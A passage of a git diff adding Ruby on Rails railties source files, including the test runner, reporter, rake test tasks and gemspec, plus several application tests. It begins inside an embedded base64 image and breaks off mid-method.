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" />
+
+      <p class="version">
+        <strong>Rails version:</strong> <%= Rails.version %><br />
+        <strong>Ruby version:</strong> <%= RUBY_VERSION %> (<%= RUBY_PLATFORM %>)
+      </p>
+    </section>
+  </div>
+</body>
+</html>
diff --git a/railties/lib/rails/test_help.rb b/railties/lib/rails/test_help.rb
new file mode 100644
index 0000000000..33b6740cf1
--- /dev/null
+++ b/railties/lib/rails/test_help.rb
@@ -0,0 +1,50 @@
+# Make double-sure the RAILS_ENV is not set to production,
+# so fixtures aren't loaded into that environment
+abort("Abort testing: Your Rails environment is running in production mode!") if Rails.env.production?
+
+require "active_support/test_case"
+require "action_controller"
+require "action_controller/test_case"
+require "action_dispatch/testing/integration"
+require_relative "generators/test_case"
+
+require "active_support/testing/autorun"
+
+if defined?(ActiveRecord::Base)
+  begin
+    ActiveRecord::Migration.maintain_test_schema!
+  rescue ActiveRecord::PendingMigrationError => e
+    puts e.to_s.strip
+    exit 1
+  end
+
+  module ActiveSupport
+    class TestCase
+      include ActiveRecord::TestFixtures
+      self.fixture_path = "#{Rails.root}/test/fixtures/"
+      self.file_fixture_path = fixture_path + "files"
+    end
+  end
+
+  ActionDispatch::IntegrationTest.fixture_path = ActiveSupport::TestCase.fixture_path
+
+  def create_fixtures(*fixture_set_names, &block)
+    FixtureSet.create_fixtures(ActiveSupport::TestCase.fixture_path, fixture_set_names, {}, &block)
+  end
+end
+
+# :enddoc:
+
+class ActionController::TestCase
+  def before_setup # :nodoc:
+    @routes = Rails.application.routes
+    super
+  end
+end
+
+class ActionDispatch::IntegrationTest
+  def before_setup # :nodoc:
+    @routes = Rails.application.routes
+    super
+  end
+end
diff --git a/railties/lib/rails/test_unit/line_filtering.rb b/railties/lib/rails/test_unit/line_filtering.rb
new file mode 100644
index 0000000000..289afae331
--- /dev/null
+++ b/railties/lib/rails/test_unit/line_filtering.rb
@@ -0,0 +1,12 @@
+require "method_source"
+require "rails/test_unit/runner"
+
+module Rails
+  module LineFiltering # :nodoc:
+    def run(reporter, options = {})
+      options[:filter] = Rails::TestUnit::Runner.compose_filter(self, options[:filter])
+
+      super
+    end
+  end
+end
diff --git a/railties/lib/rails/test_unit/railtie.rb b/railties/lib/rails/test_unit/railtie.rb
new file mode 100644
index 0000000000..f1965f3b12
--- /dev/null
+++ b/railties/lib/rails/test_unit/railtie.rb
@@ -0,0 +1,27 @@
+require_relative "line_filtering"
+
+if defined?(Rake.application) && Rake.application.top_level_tasks.grep(/^(default$|test(:|$))/).any?
+  ENV["RAILS_ENV"] ||= Rake.application.options.show_tasks ? "development" : "test"
+end
+
+module Rails
+  class TestUnitRailtie < Rails::Railtie
+    config.app_generators do |c|
+      c.test_framework :test_unit, fixture: true,
+                                   fixture_replacement: nil
+
+      c.integration_tool :test_unit
+      c.system_tests :test_unit
+    end
+
+    initializer "test_unit.line_filtering" do
+      ActiveSupport.on_load(:active_support_test_case) {
+        ActiveSupport::TestCase.extend Rails::LineFiltering
+      }
+    end
+
+    rake_tasks do
+      load "rails/test_unit/testing.rake"
+    end
+  end
+end
diff --git a/railties/lib/rails/test_unit/reporter.rb b/railties/lib/rails/test_unit/reporter.rb
new file mode 100644
index 0000000000..ab28034d27
--- /dev/null
+++ b/railties/lib/rails/test_unit/reporter.rb
@@ -0,0 +1,102 @@
+require "active_support/core_ext/class/attribute"
+require "minitest"
+
+module Rails
+  class TestUnitReporter < Minitest::StatisticsReporter
+    class_attribute :executable, default: "bin/rails test"
+
+    def record(result)
+      super
+
+      if options[:verbose]
+        io.puts color_output(format_line(result), by: result)
+      else
+        io.print color_output(result.result_code, by: result)
+      end
+
+      if output_inline? && result.failure && (!result.skipped? || options[:verbose])
+        io.puts
+        io.puts
+        io.puts color_output(result, by: result)
+        io.puts
+        io.puts format_rerun_snippet(result)
+        io.puts
+      end
+
+      if fail_fast? && result.failure && !result.skipped?
+        raise Interrupt
+      end
+    end
+
+    def report
+      return if output_inline? || filtered_results.empty?
+      io.puts
+      io.puts "Failed tests:"
+      io.puts
+      io.puts aggregated_results
+    end
+
+    def aggregated_results # :nodoc:
+      filtered_results.map { |result| format_rerun_snippet(result) }.join "\n"
+    end
+
+    def filtered_results
+      if options[:verbose]
+        results
+      else
+        results.reject(&:skipped?)
+      end
+    end
+
+    def relative_path_for(file)
+      file.sub(/^#{app_root}\/?/, "")
+    end
+
+    private
+      def output_inline?
+        options[:output_inline]
+      end
+
+      def fail_fast?
+        options[:fail_fast]
+      end
+
+      def format_line(result)
+        "%s#%s = %.2f s = %s" % [result.class, result.name, result.time, result.result_code]
+      end
+
+      def format_rerun_snippet(result)
+        location, line = result.method(result.name).source_location
+        "#{executable} #{relative_path_for(location)}:#{line}"
+      end
+
+      def app_root
+        @app_root ||=
+          if defined?(ENGINE_ROOT)
+            ENGINE_ROOT
+          elsif Rails.respond_to?(:root)
+            Rails.root
+          end
+      end
+
+      def colored_output?
+        options[:color] && io.respond_to?(:tty?) && io.tty?
+      end
+
+      codes = { red: 31, green: 32, yellow: 33 }
+      COLOR_BY_RESULT_CODE = {
+        "." => codes[:green],
+        "E" => codes[:red],
+        "F" => codes[:red],
+        "S" => codes[:yellow]
+      }
+
+      def color_output(string, by:)
+        if colored_output?
+          "\e[#{COLOR_BY_RESULT_CODE[by.result_code]}m#{string}\e[0m"
+        else
+          string
+        end
+      end
+  end
+end
diff --git a/railties/lib/rails/test_unit/runner.rb b/railties/lib/rails/test_unit/runner.rb
new file mode 100644
index 0000000000..1f3a248bcb
--- /dev/null
+++ b/railties/lib/rails/test_unit/runner.rb
@@ -0,0 +1,143 @@
+# frozen_string_literal: true
+
+require "shellwords"
+require "method_source"
+require "rake/file_list"
+require "active_support/core_ext/module/attribute_accessors"
+
+module Rails
+  module TestUnit
+    class Runner
+      mattr_reader :filters, default: []
+
+      class << self
+        def options(opts)
+          opts.on("--warnings", "-w", "Run with Ruby warnings enabled") {}
+          opts.on("--environment", "-e", "Run tests in the ENV environment") {}
+        end
+
+        def parse_options(argv)
+          # Perform manual parsing and cleanup since option parser raises on unknown options.
+          env_index = argv.index("--environment") || argv.index("-e")
+          if env_index
+            argv.delete_at(env_index)
+            environment = argv.delete_at(env_index).strip
+          end
+          ENV["RAILS_ENV"] = environment || "test"
+
+          w_index = argv.index("--warnings") || argv.index("-w")
+          $VERBOSE = argv.delete_at(w_index) if w_index
+        end
+
+        def rake_run(argv = [])
+          ARGV.replace Shellwords.split(ENV["TESTOPTS"] || "")
+
+          run(argv)
+        end
+
+        def run(argv = [])
+          load_tests(argv)
+
+          require "active_support/testing/autorun"
+        end
+
+        def load_tests(argv)
+          patterns = extract_filters(argv)
+
+          tests = Rake::FileList[patterns.any? ? patterns : "test/**/*_test.rb"]
+          tests.exclude("test/system/**/*") if patterns.empty?
+
+          tests.to_a.each { |path| require File.expand_path(path) }
+        end
+
+        def compose_filter(runnable, filter)
+          if filters.any? { |_, lines| lines.any? }
+            CompositeFilter.new(runnable, filter, filters)
+          else
+            filter
+          end
+        end
+
+        private
+          def extract_filters(argv)
+            # Extract absolute and relative paths but skip -n /.*/ regexp filters.
+            argv.select { |arg| arg =~ %r%^/?\w+/% && !arg.end_with?("/") }.map do |path|
+              case
+              when path =~ /(:\d+)+$/
+                file, *lines = path.split(":")
+                filters << [ file, lines ]
+                file
+              when Dir.exist?(path)
+                "#{path}/**/*_test.rb"
+              else
+                filters << [ path, [] ]
+                path
+              end
+            end
+          end
+      end
+    end
+
+    class CompositeFilter # :nodoc:
+      attr_reader :named_filter
+
+      def initialize(runnable, filter, patterns)
+        @runnable = runnable
+        @named_filter = derive_named_filter(filter)
+        @filters = [ @named_filter, *derive_line_filters(patterns) ].compact
+      end
+
+      # Minitest uses === to find matching filters.
+      def ===(method)
+        @filters.any? { |filter| filter === method }
+      end
+
+      private
+        def derive_named_filter(filter)
+          if filter.respond_to?(:named_filter)
+            filter.named_filter
+          elsif filter =~ %r%/(.*)/% # Regexp filtering copied from Minitest.
+            Regexp.new $1
+          elsif filter.is_a?(String)
+            filter
+          end
+        end
+
+        def derive_line_filters(patterns)
+          patterns.flat_map do |file, lines|
+            if lines.empty?
+              Filter.new(@runnable, file, nil) if file
+            else
+              lines.map { |line| Filter.new(@runnable, file, line) }
+            end
+          end
+        end
+    end
+
+    class Filter # :nodoc:
+      def initialize(runnable, file, line)
+        @runnable, @file = runnable, File.expand_path(file)
+        @line = line.to_i if line
+      end
+
+      def ===(method)
+        return unless @runnable.method_defined?(method)
+
+        if @line
+          test_file, test_range = definition_for(@runnable.instance_method(method))
+          test_file == @file && test_range.include?(@line)
+        else
+          @runnable.instance_method(method).source_location.first == @file
+        end
+      end
+
+      private
+        def definition_for(method)
+          file, start_line = method.source_location
+          end_line = method.source.count("\n") + start_line - 1
+
+          return file, start_line..end_line
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/test_unit/testing.rake b/railties/lib/rails/test_unit/testing.rake
new file mode 100644
index 0000000000..97dd5cef10
--- /dev/null
+++ b/railties/lib/rails/test_unit/testing.rake
@@ -0,0 +1,56 @@
+gem "minitest"
+require "minitest"
+require_relative "runner"
+
+task default: :test
+
+desc "Runs all tests in test folder except system ones"
+task :test do
+  $: << "test"
+
+  if ENV.key?("TEST")
+    Rails::TestUnit::Runner.rake_run([ENV["TEST"]])
+  else
+    Rails::TestUnit::Runner.rake_run
+  end
+end
+
+namespace :test do
+  task :prepare do
+    # Placeholder task for other Railtie and plugins to enhance.
+    # If used with Active Record, this task runs before the database schema is synchronized.
+  end
+
+  task run: %w[test]
+
+  desc "Run tests quickly, but also reset db"
+  task db: %w[db:test:prepare test]
+
+  ["models", "helpers", "controllers", "mailers", "integration", "jobs"].each do |name|
+    task name => "test:prepare" do
+      $: << "test"
+      Rails::TestUnit::Runner.rake_run(["test/#{name}"])
+    end
+  end
+
+  task generators: "test:prepare" do
+    $: << "test"
+    Rails::TestUnit::Runner.rake_run(["test/lib/generators"])
+  end
+
+  task units: "test:prepare" do
+    $: << "test"
+    Rails::TestUnit::Runner.rake_run(["test/models", "test/helpers", "test/unit"])
+  end
+
+  task functionals: "test:prepare" do
+    $: << "test"
+    Rails::TestUnit::Runner.rake_run(["test/controllers", "test/mailers", "test/functional"])
+  end
+
+  desc "Run system tests only"
+  task system: "test:prepare" do
+    $: << "test"
+    Rails::TestUnit::Runner.rake_run(["test/system"])
+  end
+end
diff --git a/railties/lib/rails/version.rb b/railties/lib/rails/version.rb
new file mode 100644
index 0000000000..3d8e8291d1
--- /dev/null
+++ b/railties/lib/rails/version.rb
@@ -0,0 +1,8 @@
+require_relative "gem_version"
+
+module Rails
+  # Returns the version of the currently loaded Rails as a string.
+  def self.version
+    VERSION::STRING
+  end
+end
diff --git a/railties/lib/rails/welcome_controller.rb b/railties/lib/rails/welcome_controller.rb
new file mode 100644
index 0000000000..3b417f65ba
--- /dev/null
+++ b/railties/lib/rails/welcome_controller.rb
@@ -0,0 +1,8 @@
+require_relative "application_controller"
+
+class Rails::WelcomeController < Rails::ApplicationController # :nodoc:
+  layout false
+
+  def index
+  end
+end
diff --git a/railties/railties.gemspec b/railties/railties.gemspec
new file mode 100644
index 0000000000..e5587b531a
--- /dev/null
+++ b/railties/railties.gemspec
@@ -0,0 +1,39 @@
+version = File.read(File.expand_path("../RAILS_VERSION", __dir__)).strip
+
+Gem::Specification.new do |s|
+  s.platform    = Gem::Platform::RUBY
+  s.name        = "railties"
+  s.version     = version
+  s.summary     = "Tools for creating, working with, and running Rails applications."
+  s.description = "Rails internals: application bootup, plugins, generators, and rake tasks."
+
+  s.required_ruby_version = ">= 2.2.2"
+
+  s.license = "MIT"
+
+  s.author   = "David Heinemeier Hansson"
+  s.email    = "david@loudthinking.com"
+  s.homepage = "http://rubyonrails.org"
+
+  s.files        = Dir["CHANGELOG.md", "README.rdoc", "MIT-LICENSE", "RDOC_MAIN.rdoc", "exe/**/*", "lib/**/{*,.[a-z]*}"]
+  s.require_path = "lib"
+
+  s.bindir      = "exe"
+  s.executables = ["rails"]
+
+  s.rdoc_options << "--exclude" << "."
+
+  s.metadata = {
+    "source_code_uri" => "https://github.com/rails/rails/tree/v#{version}/railties",
+    "changelog_uri"   => "https://github.com/rails/rails/blob/v#{version}/railties/CHANGELOG.md"
+  }
+
+  s.add_dependency "activesupport", version
+  s.add_dependency "actionpack",    version
+
+  s.add_dependency "rake", ">= 0.8.7"
+  s.add_dependency "thor", ">= 0.18.1", "< 2.0"
+  s.add_dependency "method_source"
+
+  s.add_development_dependency "actionview", version
+end
diff --git a/railties/test/abstract_unit.rb b/railties/test/abstract_unit.rb
new file mode 100644
index 0000000000..2d4c7a0f0b
--- /dev/null
+++ b/railties/test/abstract_unit.rb
@@ -0,0 +1,31 @@
+ENV["RAILS_ENV"] ||= "test"
+
+require "stringio"
+require "active_support/testing/autorun"
+require "active_support/testing/stream"
+require "fileutils"
+
+require "active_support"
+require "action_controller"
+require "action_view"
+require "rails/all"
+
+module TestApp
+  class Application < Rails::Application
+    config.root = __dir__
+    secrets.secret_key_base = "b3c631c314c0bbca50c1b2843150fe33"
+  end
+end
+
+class ActiveSupport::TestCase
+  include ActiveSupport::Testing::Stream
+
+  # Skips the current run on Rubinius using Minitest::Assertions#skip
+  private def rubinius_skip(message = "")
+    skip message if RUBY_ENGINE == "rbx"
+  end
+  # Skips the current run on JRuby using Minitest::Assertions#skip
+  private def jruby_skip(message = "")
+    skip message if defined?(JRUBY_VERSION)
+  end
+end
diff --git a/railties/test/app_loader_test.rb b/railties/test/app_loader_test.rb
new file mode 100644
index 0000000000..85f5502b4d
--- /dev/null
+++ b/railties/test/app_loader_test.rb
@@ -0,0 +1,89 @@
+require "tmpdir"
+require "abstract_unit"
+require "rails/app_loader"
+
+class AppLoaderTest < ActiveSupport::TestCase
+  def loader
+    @loader ||= Class.new do
+      extend Rails::AppLoader
+
+      def self.exec_arguments
+        @exec_arguments
+      end
+
+      def self.exec(*args)
+        @exec_arguments = args
+      end
+    end
+  end
+
+  def write(filename, contents = nil)
+    FileUtils.mkdir_p(File.dirname(filename))
+    File.write(filename, contents)
+  end
+
+  def expects_exec(exe)
+    assert_equal [Rails::AppLoader::RUBY, exe], loader.exec_arguments
+  end
+
+  setup do
+    @tmp = Dir.mktmpdir("railties-rails-loader-test-suite")
+    @cwd = Dir.pwd
+    Dir.chdir(@tmp)
+  end
+
+  ["bin", "script"].each do |script_dir|
+    exe = "#{script_dir}/rails"
+
+    test "is not in a Rails application if #{exe} is not found in the current or parent directories" do
+      def loader.find_executables; end
+
+      assert !loader.exec_app
+    end
+
+    test "is not in a Rails application if #{exe} exists but is a folder" do
+      FileUtils.mkdir_p(exe)
+
+      assert !loader.exec_app
+    end
+
+    ["APP_PATH", "ENGINE_PATH"].each do |keyword|
+      test "is in a Rails application if #{exe} exists and contains #{keyword}" do
+        write exe, keyword
+
+        loader.exec_app
+
+        expects_exec exe
+      end
+
+      test "is not in a Rails application if #{exe} exists but doesn't contain #{keyword}" do
+        write exe
+
+        assert !loader.exec_app
+      end
+
+      test "is in a Rails application if parent directory has #{exe} containing #{keyword} and chdirs to the root directory" do
+        write "foo/bar/#{exe}"
+        write "foo/#{exe}", keyword
+
+        Dir.chdir("foo/bar")
+
+        loader.exec_app
+
+        expects_exec exe
+
+        # Compare the realpath in case either of them has symlinks.
+        #
+        # This happens in particular in Mac OS X, where @tmp starts
+        # with "/var", and Dir.pwd with "/private/var", due to a
+        # default system symlink var -> private/var.
+        assert_equal File.realpath("#@tmp/foo"), File.realpath(Dir.pwd)
+      end
+    end
+  end
+
+  teardown do
+    Dir.chdir(@cwd)
+    FileUtils.rm_rf(@tmp)
+  end
+end
diff --git a/railties/test/application/asset_debugging_test.rb b/railties/test/application/asset_debugging_test.rb
new file mode 100644
index 0000000000..3e17a1efa5
--- /dev/null
+++ b/railties/test/application/asset_debugging_test.rb
@@ -0,0 +1,169 @@
+require "isolation/abstract_unit"
+require "rack/test"
+
+module ApplicationTests
+  class AssetDebuggingTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+    include Rack::Test::Methods
+
+    def setup
+      # FIXME: shush Sass warning spam, not relevant to testing Railties
+      Kernel.silence_warnings do
+        build_app(initializers: true)
+      end
+
+      app_file "app/assets/javascripts/application.js", "//= require_tree ."
+      app_file "app/assets/javascripts/xmlhr.js", "function f1() { alert(); }"
+      app_file "app/views/posts/index.html.erb", "<%= javascript_include_tag 'application' %>"
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get '/posts', to: "posts#index"
+        end
+      RUBY
+
+      app_file "app/controllers/posts_controller.rb", <<-RUBY
+        class PostsController < ActionController::Base
+        end
+      RUBY
+
+      ENV["RAILS_ENV"] = "production"
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    # FIXME: shush Sass warning spam, not relevant to testing Railties
+    def get(*)
+      Kernel.silence_warnings { super }
+    end
+
+    test "assets are concatenated when debug is off and compile is off either if debug_assets param is provided" do
+      # config.assets.debug and config.assets.compile are false for production environment
+      ENV["RAILS_ENV"] = "production"
+      output = Dir.chdir(app_path) { `bin/rails assets:precompile --trace 2>&1` }
+      assert $?.success?, output
+
+      # Load app env
+      app "production"
+
+      class ::PostsController < ActionController::Base ; end
+
+      # the debug_assets params isn't used if compile is off
+      get "/posts?debug_assets=true"
+      assert_match(/<script src="\/assets\/application-([0-z]+)\.js"><\/script>/, last_response.body)
+      assert_no_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js"><\/script>/, last_response.body)
+    end
+
+    test "assets aren't concatenated when compile is true is on and debug_assets params is true" do
+      add_to_env_config "production", "config.assets.compile = true"
+
+      # Load app env
+      app "production"
+
+      class ::PostsController < ActionController::Base ; end
+
+      get "/posts?debug_assets=true"
+      assert_match(/<script src="\/assets\/application(\.self)?-([0-z]+)\.js\?body=1"><\/script>/, last_response.body)
+      assert_match(/<script src="\/assets\/xmlhr(\.self)?-([0-z]+)\.js\?body=1"><\/script>/, last_response.body)
+    end
+
+    test "public path and tag methods are not over-written by the asset pipeline" do
+      contents = "doesnotexist"
+      cases = {
+        asset_path:             %r{/#{contents}},
+        image_path:             %r{/images/#{contents}},
+        video_path:             %r{/videos/#{contents}},
+        audio_path:             %r{/audios/#{contents}},
+        font_path:              %r{/fonts/#{contents}},
+        javascript_path:        %r{/javascripts/#{contents}},
+        stylesheet_path:        %r{/stylesheets/#{contents}},
+        image_tag:              %r{<img src="/images/#{contents}"},
+        favicon_link_tag:       %r{<link rel="shortcut icon" type="image/x-icon" href="/images/#{contents}" />},
+        stylesheet_link_tag:    %r{<link rel="stylesheet" media="screen" href="/stylesheets/#{contents}.css" />},
+        javascript_include_tag: %r{<script src="/javascripts/#{contents}.js">},
+        audio_tag:              %r{<audio src="/audios/#{contents}"></audio>},
+        video_tag:              %r{<video src="/videos/#{contents}"></video>}
+      }
+
+      cases.each do |(view_method, tag_match)|
+        app_file "app/views/posts/index.html.erb", "<%= #{view_method} '#{contents}', skip_pipeline: true %>"
+
+        app "development"
+
+        class ::PostsController < ActionController::Base ; end
+
+        get "/posts?debug_assets=true"
+
+        body = last_response.body
+        assert_match(tag_match, body, "Expected `#{view_method}` to produce a match to #{tag_match}, but did not: #{body}")
+      end
+    end
+
+    test "public url methods are not over-written by the asset pipeline" do
+      contents = "doesnotexist"
+      cases = {
+        asset_url:       %r{http://example.org/#{contents}},
+        image_url:       %r{http://example.org/images/#{contents}},
+        video_url:       %r{http://example.org/videos/#{contents}},
+        audio_url:       %r{http://example.org/audios/#{contents}},
+        font_url:        %r{http://example.org/fonts/#{contents}},
+        javascript_url:  %r{http://example.org/javascripts/#{contents}},
+        stylesheet_url:  %r{http://example.org/stylesheets/#{contents}},
+      }
+
+      cases.each do |(view_method, tag_match)|
+        app_file "app/views/posts/index.html.erb", "<%= #{view_method} '#{contents}', skip_pipeline: true %>"
+
+        app "development"
+
+        class ::PostsController < ActionController::Base ; end
+
+        get "/posts?debug_assets=true"
+
+        body = last_response.body
+        assert_match(tag_match, body, "Expected `#{view_method}` to produce a match to #{tag_match}, but did not: #{body}")
+      end
+    end
+
+    test "{ skip_pipeline: true } does not use the asset pipeline" do
+      cases = {
+        /\/assets\/application-.*.\.js/ => {},
+        /application.js/                => { skip_pipeline: true },
+      }
+      cases.each do |(tag_match, options_hash)|
+        app_file "app/views/posts/index.html.erb", "<%= asset_path('application.js', #{options_hash}) %>"
+
+        app "development"
+
+        class ::PostsController < ActionController::Base ; end
+
+        get "/posts?debug_assets=true"
+
+        body = last_response.body.strip
+        assert_match(tag_match, body, "Expected `asset_path` with `#{options_hash}` to produce a match to #{tag_match}, but did not: #{body}")
+      end
+    end
+
+    test "public_compute_asset_path does not use the asset pipeline" do
+      cases = {
+        compute_asset_path:        /\/assets\/application-.*.\.js/,
+        public_compute_asset_path: /application.js/,
+      }
+
+      cases.each do |(view_method, tag_match)|
+        app_file "app/views/posts/index.html.erb", "<%= #{ view_method } 'application.js' %>"
+
+        app "development"
+
+        class ::PostsController < ActionController::Base ; end
+
+        get "/posts?debug_assets=true"
+
+        body = last_response.body.strip
+        assert_match(tag_match, body, "Expected `#{view_method}` to produce a match to #{ tag_match }, but did not: #{ body }")
+      end
+    end
+  end
+end
diff --git a/railties/test/application/assets_test.rb b/railties/test/application/assets_test.rb
new file mode 100644
index 0000000000..f38cacd6da
--- /dev/null
+++ b/railties/test/application/assets_test.rb
@@ -0,0 +1,522 @@
+require "isolation/abstract_unit"
+require "rack/test"
+require "active_support/json"
+
+module ApplicationTests
+  class AssetsTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+    include Rack::Test::Methods
+
+    def setup
+      build_app(initializers: true)
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    def precompile!(env = nil)
+      with_env env.to_h do
+        quietly do
+          precompile_task = "bin/rails assets:precompile --trace 2>&1"
+          output = Dir.chdir(app_path) { %x[ #{precompile_task} ] }
+          assert $?.success?, output
+          output
+        end
+      end
+    end
+
+    def with_env(env)
